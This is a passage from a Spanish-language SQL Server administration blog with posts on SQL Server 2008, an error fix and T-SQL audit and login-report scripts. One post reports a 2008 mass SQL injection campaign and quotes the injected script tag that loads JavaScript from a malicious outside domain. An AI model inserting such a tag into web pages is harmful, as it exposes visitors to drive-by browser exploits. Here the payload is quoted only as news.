<TD ALIGN="left" WIDTH="5%"><B>LOGIN NAME</B> </TD>
<TD ALIGN="left" WIDTH="5%"><B>DEFAULT DB</B> </TD>'
union all
select
'<TD ALIGN="left" WIDTH="5%"><B>CREATION DATE</B> </TD>
<TD ALIGN="left" WIDTH="5%"><B>MODIFIED</B> </TD>
<TD ALIGN="left" WIDTH="5%"><B>LOGIN TYPE</B> </TD>
<TD ALIGN="left" WIDTH="40%"><B>ROLES</B> </TD>
</TR>'

union all
SELECT '<TR>
<TD>'+rtrim(db)+'</TD>
<TD>'+rtrim(name)+'</TD>
<TD>'+rtrim(loginname)+'</TD>
<TD>'+rtrim(defdb)+'</TD>
<TD>'+createdate+'</TD>
<TD>'+lastmodifieddate+'</TD>
<TD>'+rtrim(logintype)+' </TD>
<TD>'+rtrim(roles)+'</TD>
</TR>'
FROM #rpt
UNION ALL
SELECT '</table>'

DROP TABLE #Temp_Users
DROP TABLE #Temp_Roles
DROP TABLE #rpt

SET NOCOUNT OFF

miércoles, 23 de enero de 2008

Nuevo ataque de inyección SQL

El pasado 7 de Enero se descubrió un nuevo ataque que aprovechaba una vieja vulnerabilidad en MDAC (de abril del 2006)

Básicamente el ataque inserta siguiente código
en JavaScript en las páginas
<script src=http://?.uc8010.com/0.js></script>
lo que que provoca que el navegador del visitante se dirija el servidor malicioso (uc8010.com) desde el cual se producirán ataques aprovechando vulnerabilidades de ReaPlayer o Internet Explorer.

Aún a día de hoy más de 100.000 páginas siguen infectadas (http://www.google.es/search?hl=es&q=UC8010&btnG=Buscar&meta= )

como curiosidad más información sobre el dominio malicioso

61.188.0.0 - 61.188.255.255
netname: CHINANET-SC
descr: CHINANET Sichuan province network
descr: China Telecom
descr: A12,Xin-Jie-Kou-Wai Street
descr: Beijing 100088
country: CN

Más información:

Computerworld
Ddanchev
Hispasec








lunes, 21 de enero de 2008

Nuevo SQL Server 2005 "Best Practices" disponible

Desde SQLCAT anuncian que ya está disponible "Best Practices" para SQL Server 2005. Las novedades vienen sobre todo en el terreno de "Analysis Services" con la incorporación de nuevas reglas. Merece la pena descargarlo

jueves, 17 de enero de 2008

Error 911,level 16 Could not locate entry in sysdatabases for database XXXX

sp_MsForeachdb puede reportar el error 911 si alguna de las bbdd contiene guiones en su nombre (nombre-xxxx)

Puede corregirse poniendo el nombre de la bbdd entre corchetes:

sp_MsForeachdb'Use [?];Insert #filestats (FileID, FileGroupID, FileTotalSizeMB, FileUsedSpaceMB, FileLogicalName, FilePath) exec (''DBCC SHOWFILESTATS WITH NO_INFOMSGS '')'

El error apareción hoy por la mañana al correr el script de monitorización de espacio En uno de los serviodres se habían añadido bbdd para Sharepoint que contenían guiones en el nombre (en la forma Sharepoint-Admincontent-a9d800-xxxxx)

miércoles, 16 de enero de 2008

Prueba Ms SQL Server 2008 sin descargarlo

SQLServerbeta ofrece la posibilidad de crearte una cuenta para probar desde un servidor remoto el nuevo SQL Server. Una idea excelente pero para nuestra desgracia, presenta demasiadas limitaciones: Analysis o Reporting services no están disponibles, no hay posibilidad de usar el profiler, no pueden verse consultas dmv y más contras que surgen cada vez que intetas probar alguna cosa.

De todas formas echadle un vistazo por vosotros mimso. Necesitáis registraros y automáticamente optenéis acceso a la página. En el plazo de un día recibiréis la dirección del servidor y una cuenta con la conectaros al servidor remoto.

La web también ofrece la posibildad de acceder a Microsoft E-learning Los cursos están bastante bien para una primera aproximación al nuevo SQL Server 2008

martes, 15 de enero de 2008

Resource Governor en Ms SQL 2008

Resource Governor es uno de los grandes adelantos que presenta la nueva versión de SQL Server.
Permite delimitar el uso de recursos a un grupo, aplicación o consulta determinado. También permite monitorizar el progreso de una cosnulta. En concreto podemos limitar el uso de
  • cpu
  • tiempos de espera (waits)
  • tiempos de parada (idle)
  • grado de paralelismo
  • bloqueos
  • tiempo de ejecución
Pueden crearse grupos en función de usuarios, IP o aplicación.

Podéis leer más y ver algunos ejemplos en el blog oficial de PSS


jueves, 10 de enero de 2008

Adiós Acrobat, adiós

Si estáis cansados del Acrobat Reader, de largas esperas, de cuelgues, de añorar las versiones 3x...
echadle un ojo a Foxit Reader
Abrir un pdf ya no será más una pesadilla

Qué hay instalado en nuestras máquinas

MSI Inventory es una utilidad que revela qué hay instalado o qué piensa Windows que está instalado en un máquina. De gran utilidad, me sirvió para resolver problemas de instalación del 2005 sobre una versión beta (de esas que crees que borras todo pero que al final siempre queda algo por ahí perdido). En este blog tenéis su descripción y ejemplos de su uso.La página original está en reconstrucción, pero el enlace de descarga (un zip) por lo menos en estos momentos funciona

miércoles, 9 de enero de 2008

Lanzamiento de SQL Server 2008

Los próximos 26 y 27 de febrero se producirá el lanzamiento en Madrid, España, de SQL Server 2008, Windows Server 2008 y Visual Studio 2008.

Este es el enlace para quien quiera apuntarse al evento

La versión beta puede descargarse aquí

Full-Text Indexing

Tengo que reconocer que nunca le he prestado mucha atención a esta capacidad de SQL Server, pero ayer los logs de uno de nuestros servidores (SQL 2000) empezarón a mostrar repetidas entradas de Login failed for user 'NT AUTHORITY\SYSTEM'

Por defecto siempre configuramos SQL Server , SQLServerAgent y demás servicios SQL con la misma cuenta de dominio (password nunca caduca) con privilegios de sysadmin en vez de 'Local system Account' También borramos Builtin Administrators de SQL Server, por supuesto.

EL problema fue que uno de los administradores de Windows habilitó el 'Full text Search' y dejó por defecto 'Local System Account' como cuenta.

SQL 2000 y 7 utilizan un servicio de Windows (cualquier versión lo incluye) llamado Microsoft Search Service. Este servicio ofrece indexación y búsquedas para otras aplicaciones como Exchange o Sharepoint.

En SQL 2005 la cosa cambia bastante; hay un servicio dedicado que trabaja directamente con SQL Server. en este enlace tenéis buena información para el 2005

Ejemplos y explicación en versiones anteriores aquí

martes, 8 de enero de 2008

Vuelven los Auditores I

Fieles a su cita vuelven los auditores a destrozar la tranquilidad y al paz del dba. Creo que ahora nos toca SOX . Así que toca exprimir el cerebro tratando de entender qué demonios piden los auditores y cómo puedes demostrarles que tus servidores cumplen sus normas. Una pesadilla
Aún no nos han dicho qué es exactamente lo que quieren este año. Algo que no suele faltar es lo que véis aquí abajo:

General Information
ProductName Microsoft SQL Server
ProductVersion 8.00.2040
Platform NT INTEL X86
FileVersion 2000.080.2040.00 Hotfix 2140
WindowsVersion 5.0 (2195)
ProcessorCount 4
ProcessorType PROCESSOR_INTEL_PENTIUM
PhysicalMemory 7679 (8052326400)



SERVICES
Service Account Status
MSSqlsrvr LocalSystem Autostart
SQLAgent domain\account Autostart



GENERAL SECURITY
Login Mode SQL and NT
Audit Level Failures
Default Domain domain
Default Login guest

Os dejo el script que genera este informe (No lo he probado aún con el 2005)
Para generarlo directamente en excel, recordad que hay que seleccionar la salida en archivo y luego poned el nombre que queráis con la extensión xls






set nocount on
declare @strHTML varchar (8000)
SET @strHTML = ''






create table #gral ([index] int, [name] varchar (40), internal_value varchar (10), character_value varchar(150))

insert into #gral exec master..xp_msver ProductNAme
insert into #gral exec master..xp_msver ProductVersion
insert into #gral exec master..xp_msver Platform
insert into #gral exec master..xp_msver fileVersion
insert into #gral exec master..xp_msver windowsVersion
insert into #gral exec master..xp_msver ProcessorCount
insert into #gral exec master..xp_msver ProcessorType
insert into #gral exec master..xp_msver PhysicalMemory




select '< DIV ALIGN="center" > < TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" > < A NAME="GENERAL INFORMATION" > < B > General Information< /B > < /A > < /TD > < /TR >
'
union all
select '< TR > < TD VALIGN= "top" > < I > '+ [name] + '< /I > < /TD > '+
'< TD VALIGN= "top" > '+character_value +' < /TD > '+
'< /TR > ' from #gral

union all

select '< /TABLE > '









drop table #gral
print '< BR > '


declare @ser varchar (40)
set @ser = (SELECT CONVERT(char(20),SERVERPROPERTY('servername')))

--SQLServer
declare @sqlsrv varchar (50)
declare @status varchar (20)


CREATE TABLE #srvr (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0) -- no es instancia

-- no instance
begin -- = 7 and 2k

insert #srvr exec master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','Start'

GOTO REP

end

else

begin

--instance

DECLARE @RegistryPath varchar(200)
SET @RegistryPath = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'Start'
GOTO REP
end
REP:

select @sqlsrv = data from #srvr where value = 'ObjectName'
select @status = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #srvr
DROP TABLE #srvr


SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="3" ALIGN="center" VALIGN="top" > < B > < A > SERVICES< /B > < /A > < /TD > < /TR >
< TR BGCOLOR="EEEEEE" >
< TD ALIGN="left" WIDTH="25%" > < B > Service< /B > < /TD >
< TD ALIGN="left" WIDTH="50%" > < B > Account< /B > < /TD >
< TD ALIGN="left" WIDTH="25%" > < B > Status< /B > < /TD >
< /TR > '
print @strHTML



--sqlserveragent

CREATE TABLE #AGENT (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0)

begin
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','Start'

GOTO REPT

end

else

begin

DECLARE @RegPath varchar(200)
SET @RegPath = 'SYSTEM\CurrentControlSet\Services\SQLAGENT$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'Start'
GOTO REPT
end
REPT:
declare @sqlage varchar (50)
declare @statage varchar (20)
select @sqlage = data from #agent where value = 'ObjectName'
select @statage = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #agent

DROP TABLE #AGENT



set @strHTML = '< TR > < TD VALIGN= "top" > MSSqlsrvr < /TD > < TD VALIGN= "top" > '+ @sqlsrv +
'< /TD > < TD VALIGN= "top" > '+@status+' < /TD > '+
'< TR > < TD VALIGN= "top" > SQLAgent < /TD > < TD VALIGN= "top" > '+ @sqlage +
'< /TD > < TD VALIGN= "top" > '+@statage+' < /TD > < /TR > < /TABLE > '



print @strHTML

print '< BR > '
---------------------------------


--general security


CREATE TABLE #sec (value VARCHAR(30), data VARCHAR(30))
IF (charindex('\',@ser)=0)

begin

INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER', 'LoginMode'

GOTO REPORT

end
else

begin
DECLARE @Path varchar(200)
DECLARE @Path2 varchar(200)
SET @Path = 'SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER'
SET @Path2 ='SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER\CURRENTVERSION'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'LoginMode'


end
GOTO REPORT

REPORT:
declare @loginMode varchar (30)
declare @AuditLevel varchar (30)
declare @DefaultDomain varchar (30)
declare @DefaultLogin varchar (30)


select @LoginMode = case data when '1' then 'NT' when '2' then 'SQL and NT' end from #sec where value = 'LoginMode'

select @AuditLevel =case data when '0' then 'None'
when '1' then 'Success'
when '2' then 'Failures'
when '3' then 'All ' end from #sec where value = 'AuditLevel'

select @DefaultDomain = data from #sec where value = 'defaultDomain'

select @DefaultLogin = data from #sec where value = 'defaultLogin'



drop table #SEC

SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" VALIGN="top" > < B > < A > GENERAL SECURITY< /B > < /A > < /TD > < /TR >
'
print @strHTML


set @strHTML = '< TR > < TD VALIGN= "top" > < I > Login Mode < /I > < /TD > < TD VALIGN= "top" > ' +
+@LoginMode+' < /TD > '+
'< TR > < TD VALIGN= "top" > < I > Audit Level< /I > < /TD > < TD VALIGN= "top" > ' +
+@AuditLevel+' < /TD > < /TR > ' +
'< TR > < TD VALIGN= "top" > < I > Default Domain< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultDomain+' < /TD > < /TR > '+
'< TR > < TD VALIGN= "top" > < I > Default Login< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultLogin+' < /TD > < /TR > < /TABLE > < BR > '

print @strHTML